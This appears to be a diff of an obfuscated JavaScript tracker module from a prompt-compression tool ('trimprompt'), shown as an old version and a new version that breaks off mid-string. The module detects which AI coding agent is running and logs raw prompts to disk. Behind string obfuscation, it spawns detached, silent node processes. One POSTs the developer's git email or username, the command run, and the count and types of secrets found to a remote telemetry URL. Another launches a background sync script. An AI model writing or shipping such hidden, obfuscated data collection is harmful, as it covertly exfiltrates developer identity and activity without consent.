_0x5a3e12=Object[_0x526811(0x138)](_0x32fe02,_0x5eed33);(!_0x5a3e12||(_0x526811(0xfb)in _0x5a3e12?!_0x32fe02[_0x526811(0xa6)]:_0x5a3e12[_0x526811(0x10e)]||_0x5a3e12[_0x526811(0x135)]))&&(_0x5a3e12={'enumerable':!![],'get':function(){return _0x32fe02[_0x5eed33];}}),Object[_0x526811(0x130)](_0x22a16a,_0x2339ff,_0x5a3e12);}:function(_0x4fe68a,_0x26ac67,_0x3a6079,_0x729d4f){if(_0x729d4f===undefined)_0x729d4f=_0x3a6079;_0x4fe68a[_0x729d4f]=_0x26ac67[_0x3a6079];}),__setModuleDefault=this&&this[a0_0x3e8929(0x109)]||(Object[a0_0x3e8929(0xa5)]?function(_0x3a5bfb,_0x54a1f0){const _0x62b686=a0_0x3e8929;Object[_0x62b686(0x130)](_0x3a5bfb,'default',{'enumerable':!![],'value':_0x54a1f0});}:function(_0x2d86c5,_0x5a71e1){const _0x2d7e69=a0_0x3e8929;_0x2d86c5[_0x2d7e69(0x119)]=_0x5a71e1;}),__importStar=this&&this[a0_0x3e8929(0xc8)]||(function(){var _0x416297=function(_0x2c96e0){return _0x416297=Object['getOwnPropertyNames']||function(_0xea57fb){const _0x48ae32=a0_0x1920;var _0x5d244f=[];for(var _0x5b47d7 in _0xea57fb)if(Object[_0x48ae32(0x100)][_0x48ae32(0x11d)][_0x48ae32(0xa4)](_0xea57fb,_0x5b47d7))_0x5d244f[_0x5d244f['length']]=_0x5b47d7;return _0x5d244f;},_0x416297(_0x2c96e0);};return function(_0x4372ac){if(_0x4372ac&&_0x4372ac['__esModule'])return _0x4372ac;var _0xe5928={};if(_0x4372ac!=null){for(var _0x5f1756=_0x416297(_0x4372ac),_0x3b6341=0x0;_0x3b6341<_0x5f1756['length'];_0x3b6341++)if(_0x5f1756[_0x3b6341]!=='default')__createBinding(_0xe5928,_0x4372ac,_0x5f1756[_0x3b6341]);}return __setModuleDefault(_0xe5928,_0x4372ac),_0xe5928;};}());Object[a0_0x3e8929(0x130)](exports,a0_0x3e8929(0xa6),{'value':!![]}),exports[a0_0x3e8929(0xaf)]=exports[a0_0x3e8929(0xfa)]=exports[a0_0x3e8929(0xc0)]=void 0x0,exports[a0_0x3e8929(0x12a)]=detectSessionTool;function a0_0x1f8c(){const _0xd4ce37=['Claude\x20Mythos\x205','o3mini','stringify','opus','getStatsSummary','GPT-4o\x20Mini','substring','claude-sonnet-4-6','copilot','GEMINI_CLI','ceil','estimated_raw_tokens','logs','auto','join','pop','spawn','4602pgjMNk','533FROyKM','claude-sonnet-4-5','includes','gemini-3-1-pro','gemini','.comp.txt','setConfig','Gemini\x203.5\x20Live\x20Translate','556020DwFKSW','CLINE_DATA_DIR','cursor','sonnet','GPT-5.4\x20Mini','sync.js','CLAUDECODE','Tracker','get','saveLogs','secretsFound','Claude\x203.5\x20Sonnet','COPILOT_MODEL','prototype','CONTINUE_GLOBAL_DIR','sendSecurityAlert','VSCODE_PID','38ANIhGm','max','tokens_saved','GPT-5.5','claude-opus-4-8','__setModuleDefault','codex','getLogs','path','execPath','writable','316398uaDGgi','OpenAI\x20o1','Claude\x20Sonnet\x204.5','ignore','trim','1434224mXUmbd','Claude\x20Opus\x204.5','AIDER_MODEL','default_model','TRIMPROMPT_MODEL','default','PATH','unref','GPT-5.4\x20Nano','hasOwnProperty','Claude\x20Haiku\x203.5','redact','stats.json','saveConfig','flash','toLowerCase','1.0','CURSOR_AGENT','toFixed','modelShort','tool','claude','detectSessionTool','antigravity','random','command','GPT-4o','gemini-3-5-flash','defineProperty','timestamp','Claude\x20Haiku\x204.5',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','aider','configurable','model_used','windsurf','getOwnPropertyDescriptor','baseDir','11207JENhTn','/api/security/alert','logsDir','./redactor','configPath','Claude\x20Sonnet\x204.6','7745uYXzjF','writeFileSync','claude-3-5-sonnet','call','create','__esModule','mkdirSync','__createBinding','github-copilot','split','const\x20h=require(require(\x27url\x27).parse(','name','telemetry_url','187psJVPL','tracker','Gemini\x203.5\x20Flash','getConfig','init','CLAUDE_EFFORT','Gemini\x203.1\x20Flash-Lite','existsSync','triggerBackgroundSync','CLAUDE_CODE','replit',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','OpenAI\x20o3-mini','devin','ANTIGRAVITY_AGENT','REPL_ID','statsPath','pipe','PRICING','18gfFOHy','model','input_price_1m','secretTypes','89803LohlQO','1528QTqAdJ','Cursor\x20Small','__importStar','readFileSync','config','utf8','Claude\x20Opus\x204.1\x20(deprecated)','Claude\x20Fable\x205','AI_AGENT','high','534540DtShre','OpenAI\x20o1-mini','COPILOT_GITHUB_TOKEN','claude-code','child_process','length','homedir','GPT-5.4','logExecution'];a0_0x1f8c=function(){return _0xd4ce37;};return a0_0x1f8c();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3e8929(0x10c))),os=__importStar(require('os')),child_process_1=require(a0_0x3e8929(0xd4));exports[a0_0x3e8929(0xc0)]={'claude-fable-5':{'name':a0_0x3e8929(0xcd),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3e8929(0xd9),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3e8929(0x115),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3e8929(0xcc),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3e8929(0x13f),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3e8929(0x111),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3e8929(0xfe),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3e8929(0x132),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3e8929(0x11e),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3e8929(0x107),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3e8929(0xd7),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x3e8929(0x12e),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3e8929(0xf7),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3e8929(0x11c),'input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x3e8929(0xde),'input_price_1m':0.15},'o1':{'name':a0_0x3e8929(0x110),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3e8929(0xd1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3e8929(0xba),'input_price_1m':1.1},'cursor-small':{'name':a0_0x3e8929(0xc7),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3e8929(0xb0),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3e8929(0xb4),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3e8929(0xf2),'input_price_1m':3.5}};function detectSessionTool(){const _0x388257=a0_0x3e8929,_0xb27ec3=process.env,_0x13b3b7={'tool':'','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0x118)]&&exports[_0x388257(0xc0)][_0xb27ec3['TRIMPROMPT_MODEL']])return{'tool':'','model':_0xb27ec3[_0x388257(0x118)],'modelShort':''};const _0x35929b=(_0xb27ec3[_0x388257(0xce)]||'')[_0x388257(0x123)]();if(_0x35929b){if(_0x35929b['includes'](_0x388257(0xd3))||_0x35929b['includes']('claude_code')){const _0x5b7583=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x23c6df=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0x108):_0x388257(0xe0);return{'tool':_0x388257(0x129),'model':_0x23c6df,'modelShort':_0x5b7583};}if(_0x35929b[_0x388257(0xed)](_0x388257(0xf5)))return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xa9))||_0x35929b['includes'](_0x388257(0xe1))){const _0x5130c9=_0xb27ec3[_0x388257(0xff)]||'';if(_0x5130c9&&exports[_0x388257(0xc0)][_0x5130c9])return{'tool':_0x388257(0xe1),'model':_0x5130c9,'modelShort':_0x5130c9[_0x388257(0xaa)]('-')[_0x388257(0xe8)]()||''};return{'tool':_0x388257(0xe1),'model':_0x388257(0xec),'modelShort':_0x388257(0xf6)};}if(_0x35929b[_0x388257(0xed)](_0x388257(0xef)))return{'tool':_0x388257(0xef),'model':_0x388257(0x12f),'modelShort':'flash'};if(_0x35929b[_0x388257(0xed)](_0x388257(0x10a)))return{'tool':_0x388257(0x10a),'model':'o3-mini','modelShort':_0x388257(0xda)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xbb)))return{'tool':_0x388257(0xbb),'model':_0x388257(0xe0),'modelShort':''};if(_0x35929b[_0x388257(0xed)]('antigravity'))return{'tool':_0x388257(0x12b),'model':_0x388257(0xee),'modelShort':_0x388257(0xef)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xb8))||_0xb27ec3[_0x388257(0xbd)])return{'tool':_0x388257(0xb8),'model':_0x388257(0xe0),'modelShort':''};return{'tool':_0x35929b[_0x388257(0xaa)]('_')[0x0][_0x388257(0xaa)]('-')[0x0],'model':_0x388257(0xe0),'modelShort':''};}if(_0xb27ec3[_0x388257(0xf9)]==='1'||_0xb27ec3[_0x388257(0xb7)]==='1'){const _0x46b9c8=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x3d80cb=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?'claude-opus-4-8':_0x388257(0xe0);return{'tool':'claude','model':_0x3d80cb,'modelShort':_0x46b9c8};}if(_0xb27ec3[_0x388257(0x125)]==='1')return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0xb27ec3[_0x388257(0xe2)]==='1')return{'tool':_0x388257(0xef),'model':'gemini-3-5-flash','modelShort':_0x388257(0x122)};if(_0xb27ec3[_0x388257(0xff)]||_0xb27ec3[_0x388257(0xd2)]){const _0x287e20=_0xb27ec3[_0x388257(0xff)]||'';if(_0x287e20&&exports['PRICING'][_0x287e20])return{'tool':'copilot','model':_0x287e20,'modelShort':_0x287e20[_0x388257(0xaa)]('-')[_0x388257(0xe8)]()||''};return{'tool':_0x388257(0xe1),'model':_0x388257(0xec),'modelShort':'sonnet'};}if(_0xb27ec3[_0x388257(0xbd)]||_0xb27ec3['REPLIT_ENVIRONMENT'])return{'tool':_0x388257(0xb8),'model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0xf4)])return{'tool':'cline','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0x101)])return{'tool':'continue','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0xbc)]==='1')return{'tool':_0x388257(0x12b),'model':_0x388257(0xee),'modelShort':_0x388257(0xef)};if(_0xb27ec3[_0x388257(0xb3)]){const _0x105218=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x43842c=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?_0x388257(0x108):_0x388257(0xe0);return{'tool':'','model':_0x43842c,'modelShort':''};}if(_0xb27ec3[_0x388257(0x116)]&&exports[_0x388257(0xc0)][_0xb27ec3[_0x388257(0x116)]])return{'tool':_0x388257(0x134),'model':_0xb27ec3[_0x388257(0x116)],'modelShort':''};if(_0xb27ec3[_0x388257(0x103)]){const _0x3284f3=(_0xb27ec3[_0x388257(0x11a)]||'')[_0x388257(0x123)]();if(_0x3284f3['includes'](_0x388257(0xf5)))return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0x3284f3['includes'](_0x388257(0x137)))return{'tool':'windsurf','model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};}const _0x5c614c=process.env.TRIMPROMPT_MODEL||'';if(_0x5c614c&&exports[_0x388257(0xc0)][_0x5c614c])return{'tool':'','model':_0x5c614c,'modelShort':''};return _0x13b3b7;}function a0_0x1920(_0x219b66,_0x2d8381){_0x219b66=_0x219b66-0xa2;const _0x1f8cca=a0_0x1f8c();let _0x192000=_0x1f8cca[_0x219b66];return _0x192000;}class Tracker{[a0_0x3e8929(0x139)];[a0_0x3e8929(0x13e)];[a0_0x3e8929(0xbe)];[a0_0x3e8929(0x13c)];[a0_0x3e8929(0xca)];constructor(){const _0x1c9154=a0_0x3e8929;this[_0x1c9154(0x139)]=path[_0x1c9154(0xe7)](os[_0x1c9154(0xd6)](),'.trimprompt'),this[_0x1c9154(0x13e)]=path[_0x1c9154(0xe7)](this[_0x1c9154(0x139)],'config.json'),this[_0x1c9154(0xbe)]=path['join'](this[_0x1c9154(0x139)],_0x1c9154(0x120)),this[_0x1c9154(0x13c)]=path[_0x1c9154(0xe7)](this['baseDir'],_0x1c9154(0xe5)),this[_0x1c9154(0xb2)]();}[a0_0x3e8929(0xb2)](){const _0x40873b=a0_0x3e8929;!fs[_0x40873b(0xb5)](this[_0x40873b(0x139)])&&fs[_0x40873b(0xa7)](this[_0x40873b(0x139)],{'recursive':!![]});!fs[_0x40873b(0xb5)](this[_0x40873b(0x13c)])&&fs[_0x40873b(0xa7)](this[_0x40873b(0x13c)],{'recursive':!![]});const _0x2ed161={'version':_0x40873b(0x124),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x40873b(0x108)};if(fs[_0x40873b(0xb5)](this['configPath']))try{const _0x28b3bf=fs['readFileSync'](this[_0x40873b(0x13e)],_0x40873b(0xcb));this[_0x40873b(0xca)]={..._0x2ed161,...JSON['parse'](_0x28b3bf)};}catch(_0x393bc0){this['config']=_0x2ed161;}else this[_0x40873b(0xca)]=_0x2ed161,this['saveConfig']();!fs[_0x40873b(0xb5)](this[_0x40873b(0xbe)])&&fs[_0x40873b(0xa2)](this['statsPath'],JSON[_0x40873b(0xdb)]([]),'utf8');}[a0_0x3e8929(0xb1)](){const _0x4afe38=a0_0x3e8929;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config'][_0x4afe38(0xad)]=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}[a0_0x3e8929(0xf1)](_0xdbfb2f,_0x355b55){const _0x209d5b=a0_0x3e8929;this[_0x209d5b(0xca)][_0xdbfb2f]=_0x355b55,this[_0x209d5b(0x121)]();}[a0_0x3e8929(0x121)](){const _0x1b11aa=a0_0x3e8929;fs[_0x1b11aa(0xa2)](this[_0x1b11aa(0x13e)],JSON[_0x1b11aa(0xdb)](this['config'],null,0x2),_0x1b11aa(0xcb));}['getLogs'](){const _0x15fefb=a0_0x3e8929;try{if(!fs[_0x15fefb(0xb5)](this[_0x15fefb(0xbe)]))return[];const _0x3a5625=fs[_0x15fefb(0xc9)](this['statsPath'],_0x15fefb(0xcb));return JSON['parse'](_0x3a5625);}catch{return[];}}[a0_0x3e8929(0xfc)](_0x2c28bf){const _0x7e9295=a0_0x3e8929;fs[_0x7e9295(0xa2)](this[_0x7e9295(0xbe)],JSON['stringify'](_0x2c28bf,null,0x2),_0x7e9295(0xcb));}[a0_0x3e8929(0xd8)](_0x54befa,_0x44a001,_0x364145,_0x4963a6,_0x587db1,_0x2fa5b7){const _0x5f10c9=a0_0x3e8929,_0x587255=this[_0x5f10c9(0x10b)](),_0x184788=_0x44a001[_0x5f10c9(0xd5)],_0x5c8fa6=_0x364145[_0x5f10c9(0xd5)],_0x436fbf=Math['ceil'](_0x184788/0x4),_0x45c8a7=Math[_0x5f10c9(0xe3)](_0x5c8fa6/0x4),_0x5f20bd=Math[_0x5f10c9(0x105)](0x0,_0x436fbf-_0x45c8a7),_0x118a24=detectSessionTool(),_0x1a0d09=_0x118a24[_0x5f10c9(0xc2)],_0x1373d4=Math[_0x5f10c9(0x12c)]()['toString'](0x24)[_0x5f10c9(0xdf)](0x2,0xb);try{const {redactor:_0x2a0fde}=require(_0x5f10c9(0x13d)),_0x3b265e=_0x2a0fde?_0x2a0fde[_0x5f10c9(0x11f)](_0x44a001):_0x44a001;fs[_0x5f10c9(0xa2)](path['join'](this[_0x5f10c9(0x13c)],_0x1373d4+'.raw.txt'),_0x3b265e,_0x5f10c9(0xcb)),fs[_0x5f10c9(0xa2)](path['join'](this[_0x5f10c9(0x13c)],_0x1373d4+_0x5f10c9(0xf0)),_0x364145,_0x5f10c9(0xcb));}catch{}const _0x2ac76e=_0x54befa[_0x5f10c9(0xaa)]('\x20')[0x0]||'unknown',_0x1c655a=_0x118a24[_0x5f10c9(0x128)]?_0x118a24[_0x5f10c9(0x127)]?_0x118a24[_0x5f10c9(0x128)]+'-'+_0x118a24['modelShort']+'-'+_0x2ac76e:_0x118a24[_0x5f10c9(0x128)]+'-'+_0x2ac76e:_0x2ac76e,_0x5d3ddb={'id':_0x1373d4,'timestamp':new Date()['toISOString'](),'command':_0x1c655a,'raw_chars':_0x184788,'compressed_chars':_0x5c8fa6,'estimated_raw_tokens':_0x436fbf,'estimated_compressed_tokens':_0x45c8a7,'tokens_saved':_0x5f20bd,'model_used':_0x1a0d09,'exit_code':_0x4963a6,'synced':![],'ai_detected':!!_0x118a24[_0x5f10c9(0x128)],'secrets_found':_0x587db1?.['secretsFound']||0x0,'secret_types':_0x587db1?.['secretTypes']||[],'features':_0x2fa5b7||[]};_0x587255['push'](_0x5d3ddb),this[_0x5f10c9(0xfc)](_0x587255);const _0x4d7804=this[_0x5f10c9(0xb1)]()[_0x5f10c9(0xad)];return _0x4d7804&&_0x4d7804['trim']()[_0x5f10c9(0xd5)]>0x0&&this[_0x5f10c9(0xb6)](),_0x587db1&&_0x587db1['secretsFound']>0x0&&this[_0x5f10c9(0x102)](_0x5d3ddb,_0x587db1),_0x5d3ddb;}[a0_0x3e8929(0x102)](_0x262f6f,_0x3809f0){const _0x555f68=a0_0x3e8929;try{let _0x3910e1=this[_0x555f68(0xb1)]()[_0x555f68(0xad)]||'';if(!_0x3910e1)return;_0x3910e1=_0x3910e1['replace'](/\/api\/telemetry\/?$/,_0x555f68(0x13b));if(!_0x3910e1[_0x555f68(0xed)](_0x555f68(0x13b)))_0x3910e1+=_0x555f68(0x13b);const {execSync:_0x53b4a9}=require(_0x555f68(0xd4));let _0x22522f='unknown';try{_0x22522f=require('child_process')['execSync']('git\x20config\x20user.email',{'stdio':[_0x555f68(0x112),_0x555f68(0xbf),_0x555f68(0x112)]})['toString']()[_0x555f68(0x113)]();}catch{}if(!_0x22522f||!_0x22522f[_0x555f68(0xed)]('@'))try{_0x22522f=require('os')['userInfo']()['username'];}catch{}const _0x3447d8=JSON[_0x555f68(0xdb)]({'developer_id':_0x22522f,'timestamp':_0x262f6f[_0x555f68(0x131)],'command':_0x262f6f[_0x555f68(0x12d)],'secrets_found':_0x3809f0[_0x555f68(0xfd)],'secret_types':_0x3809f0[_0x555f68(0xc4)],'os':require('os')['platform']()}),_0x47727a=_0x555f68(0xab)+JSON['stringify'](_0x3910e1)+_0x555f68(0x133)+JSON[_0x555f68(0xdb)](_0x3910e1)+_0x555f68(0xb9)+JSON[_0x555f68(0xdb)](_0x3447d8)+')',_0x5eb53a=(0x0,child_process_1['spawn'])(process[_0x555f68(0x10d)],['-e',_0x47727a],{'detached':!![],'stdio':_0x555f68(0x112)});_0x5eb53a[_0x555f68(0x11b)]();}catch{}}[a0_0x3e8929(0xb6)](){const _0x12c2d8=a0_0x3e8929;try{const _0x4c531b=path['join'](__dirname,_0x12c2d8(0xf8));if(fs[_0x12c2d8(0xb5)](_0x4c531b)){const _0x1a1f94=(0x0,child_process_1[_0x12c2d8(0xe9)])(process['execPath'],[_0x4c531b],{'detached':!![],'stdio':'ignore'});_0x1a1f94[_0x12c2d8(0x11b)]();}}catch{}}[a0_0x3e8929(0xdd)](_0x49190a='auto'){const _0x587467=a0_0x3e8929,_0x3199e0=this['getLogs']();let _0x1c9cb1=0x0,_0x1ac20b=0x0,_0x186fff=0x0;for(const _0x48c86a of _0x3199e0){_0x1c9cb1+=_0x48c86a[_0x587467(0xe4)],_0x1ac20b+=_0x48c86a['estimated_compressed_tokens'],_0x186fff+=_0x48c86a[_0x587467(0x106)];}let _0x575073=_0x49190a;(!_0x575073||_0x575073===_0x587467(0xe6)||!exports[_0x587467(0xc0)][_0x575073])&&(_0x3199e0[_0x587467(0xd5)]>0x0&&_0x3199e0[_0x3199e0[_0x587467(0xd5)]-0x1][_0x587467(0x136)]?_0x575073=_0x3199e0[_0x3199e0[_0x587467(0xd5)]-0x1][_0x587467(0x136)]:_0x575073=this[_0x587467(0xb1)]()[_0x587467(0x117)]||'claude-3-5-sonnet');const _0x60c059=exports[_0x587467(0xc0)][_0x575073]||exports['PRICING'][_0x587467(0xa3)],_0x32abce=_0x186fff*_0x60c059[_0x587467(0xc3)]/0xf4240,_0x1028d9=_0x1c9cb1*_0x60c059[_0x587467(0xc3)]/0xf4240,_0x2a1d27=_0x1ac20b*_0x60c059['input_price_1m']/0xf4240,_0x3389e4=_0x1c9cb1>0x0?_0x186fff/_0x1c9cb1*0x64:0x0;return{'total_raw_tokens':_0x1c9cb1,'total_compressed_tokens':_0x1ac20b,'total_tokens_saved':_0x186fff,'savings_percentage':parseFloat(_0x3389e4['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x32abce[_0x587467(0x126)](0x4)),'raw_cost_usd':parseFloat(_0x1028d9['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x2a1d27[_0x587467(0x126)](0x4)),'model_name':_0x60c059[_0x587467(0xac)],'model_key':_0x575073};}}exports['Tracker']=Tracker,exports[a0_0x3e8929(0xaf)]=new Tracker();
|
|
1
|
+
'use strict';const a0_0x14bc5d=a0_0x21e7;(function(_0x2294b0,_0x29833e){const _0x4bb8cd=a0_0x21e7,_0x27d22a=_0x2294b0();while(!![]){try{const _0x8a2fe8=-parseInt(_0x4bb8cd(0x93))/0x1*(parseInt(_0x4bb8cd(0x9f))/0x2)+-parseInt(_0x4bb8cd(0xa3))/0x3+parseInt(_0x4bb8cd(0xfe))/0x4+parseInt(_0x4bb8cd(0xd4))/0x5*(-parseInt(_0x4bb8cd(0x107))/0x6)+parseInt(_0x4bb8cd(0xdd))/0x7+parseInt(_0x4bb8cd(0xf9))/0x8*(-parseInt(_0x4bb8cd(0xcc))/0x9)+parseInt(_0x4bb8cd(0xf3))/0xa;if(_0x8a2fe8===_0x29833e)break;else _0x27d22a['push'](_0x27d22a['shift']());}catch(_0x5c099f){_0x27d22a['push'](_0x27d22a['shift']());}}}(a0_0x4eb5,0xc6576));function a0_0x4eb5(){const _0x1afeae=['toLowerCase','toFixed','./redactor','length','stringify','child_process','39058910uAeilf','high','userInfo','input_price_1m','GPT-4.1\x20Nano','sendSecurityAlert','163544YnBSKr','flash','triggerBackgroundSync','COPILOT_MODEL','saveConfig','3639464EqyZNI','claude-code','username','telemetry_url','/api/security/alert','Claude\x20Sonnet\x204.5','secretsFound','github-copilot','.comp.txt','6pDFneW','claude-sonnet-4-6','command','auto','gemini','GPT-4.1\x20Mini','claude-sonnet-4-5','__esModule','random','tool','ceil','getConfig','Claude\x20Opus\x204.1\x20(deprecated)','modelShort','claude-opus-4-8','GPT-5.4','writeFileSync','pop','init','call','Claude\x20Haiku\x204.5','Tracker','config','split','replace','logs','detectSessionTool','existsSync','configPath','toISOString','cursor','AI_AGENT','platform','name','Gemini\x203.1\x20Pro','sync.js','saveLogs','opus','spawn','logsDir','mkdirSync','ANTIGRAVITY_AGENT','unknown','Claude\x20Sonnet\x204.6','Gemini\x203.1\x20Flash-Lite','aider','gemini-3-1-pro','Claude\x20Opus\x204.5','CURSOR_AGENT','codex','2sEZhGA','Claude\x20Fable\x205','Cursor\x20Small','gemini-3-5-flash','TRIMPROMPT_TELEMETRY_URL','CLAUDE_EFFORT','unref','GPT-5.4\x20Nano','trim','__importStar','.trimprompt','Claude\x203.5\x20Sonnet','1364966AOZYXv','PATH','GPT-4o','stats.json','3716478XQbcqy','devin','readFileSync','env','tokens_saved','continue','substring','CONTINUE_GLOBAL_DIR','claude-3-5-sonnet','getOwnPropertyNames','GPT-5.4\x20Mini','getOwnPropertyDescriptor','model','CLAUDE_CODE','replit','git\x20config\x20user.email','PRICING','GEMINI_CLI','windsurf',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','hasOwnProperty','copilot','execPath','REPL_ID','Claude\x20Opus\x204.7','OpenAI\x20o1-mini','secretTypes','includes','logExecution','tracker','isArray','getStatsSummary','model_used','parse','create','estimated_compressed_tokens','TRIMPROMPT_MODEL','CLAUDECODE','OpenAI\x20o1','default','prototype','153Xwtmtl','utf8','execSync','GPT-5.5','o3-mini','path','__createBinding','.tmp','6287735sdtZrk','statsPath','timestamp','ignore','GPT-4o\x20Mini','redact','sonnet','writable','REPLIT_ENVIRONMENT','1438633CtEtMM','OpenAI\x20o3-mini','antigravity','AIDER_MODEL','baseDir','defineProperty','claude','get','join','1.0','pipe','Claude\x20Opus\x204.8','Gemini\x203.5\x20Flash','configurable','setConfig','getLogs'];a0_0x4eb5=function(){return _0x1afeae;};return a0_0x4eb5();}function a0_0x21e7(_0x2ee85c,_0x2c7749){const _0x4eb557=a0_0x4eb5();return a0_0x21e7=function(_0x21e754,_0x4ccaa0){_0x21e754=_0x21e754-0x90;let _0x7fff52=_0x4eb557[_0x21e754];return _0x7fff52;},a0_0x21e7(_0x2ee85c,_0x2c7749);}var __createBinding=this&&this[a0_0x14bc5d(0xd2)]||(Object[a0_0x14bc5d(0xc5)]?function(_0x11a3c4,_0x5cccdb,_0x17c168,_0x232225){const _0x214dac=a0_0x14bc5d;if(_0x232225===undefined)_0x232225=_0x17c168;var _0x535037=Object[_0x214dac(0xae)](_0x5cccdb,_0x17c168);(!_0x535037||(_0x214dac(0xe4)in _0x535037?!_0x5cccdb[_0x214dac(0x10e)]:_0x535037[_0x214dac(0xdb)]||_0x535037[_0x214dac(0xea)]))&&(_0x535037={'enumerable':!![],'get':function(){return _0x5cccdb[_0x17c168];}}),Object['defineProperty'](_0x11a3c4,_0x232225,_0x535037);}:function(_0x59fdc7,_0x5131fd,_0xefe06b,_0x2aecaf){if(_0x2aecaf===undefined)_0x2aecaf=_0xefe06b;_0x59fdc7[_0x2aecaf]=_0x5131fd[_0xefe06b];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x454eac,_0x32bf9f){const _0x3e1f96=a0_0x14bc5d;Object[_0x3e1f96(0xe2)](_0x454eac,'default',{'enumerable':!![],'value':_0x32bf9f});}:function(_0xc53bb,_0x1c890f){const _0x18f2de=a0_0x14bc5d;_0xc53bb[_0x18f2de(0xca)]=_0x1c890f;}),__importStar=this&&this[a0_0x14bc5d(0x9c)]||(function(){var _0x47618e=function(_0x5dbe38){const _0x49c8f6=a0_0x21e7;return _0x47618e=Object[_0x49c8f6(0xac)]||function(_0x150af6){const _0x9695f3=_0x49c8f6;var _0x1ddfa3=[];for(var _0x5768bb in _0x150af6)if(Object[_0x9695f3(0xcb)][_0x9695f3(0xb7)][_0x9695f3(0x11a)](_0x150af6,_0x5768bb))_0x1ddfa3[_0x1ddfa3['length']]=_0x5768bb;return _0x1ddfa3;},_0x47618e(_0x5dbe38);};return function(_0xfa23f7){const _0x2525e5=a0_0x21e7;if(_0xfa23f7&&_0xfa23f7['__esModule'])return _0xfa23f7;var _0x49f318={};if(_0xfa23f7!=null){for(var _0x28193c=_0x47618e(_0xfa23f7),_0x252d66=0x0;_0x252d66<_0x28193c[_0x2525e5(0xf0)];_0x252d66++)if(_0x28193c[_0x252d66]!==_0x2525e5(0xca))__createBinding(_0x49f318,_0xfa23f7,_0x28193c[_0x252d66]);}return __setModuleDefault(_0x49f318,_0xfa23f7),_0x49f318;};}());Object['defineProperty'](exports,a0_0x14bc5d(0x10e),{'value':!![]}),exports[a0_0x14bc5d(0xc0)]=exports[a0_0x14bc5d(0x11c)]=exports['PRICING']=void 0x0,exports[a0_0x14bc5d(0x121)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x14bc5d(0xd1))),os=__importStar(require('os')),child_process_1=require(a0_0x14bc5d(0xf2));exports['PRICING']={'claude-fable-5':{'name':a0_0x14bc5d(0x94),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x14bc5d(0xe8),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x14bc5d(0xbb),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x14bc5d(0x90),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x14bc5d(0x113),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x14bc5d(0x132),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x14bc5d(0x103),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x14bc5d(0x9e),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x14bc5d(0x11b),'input_price_1m':0x1},'claude-h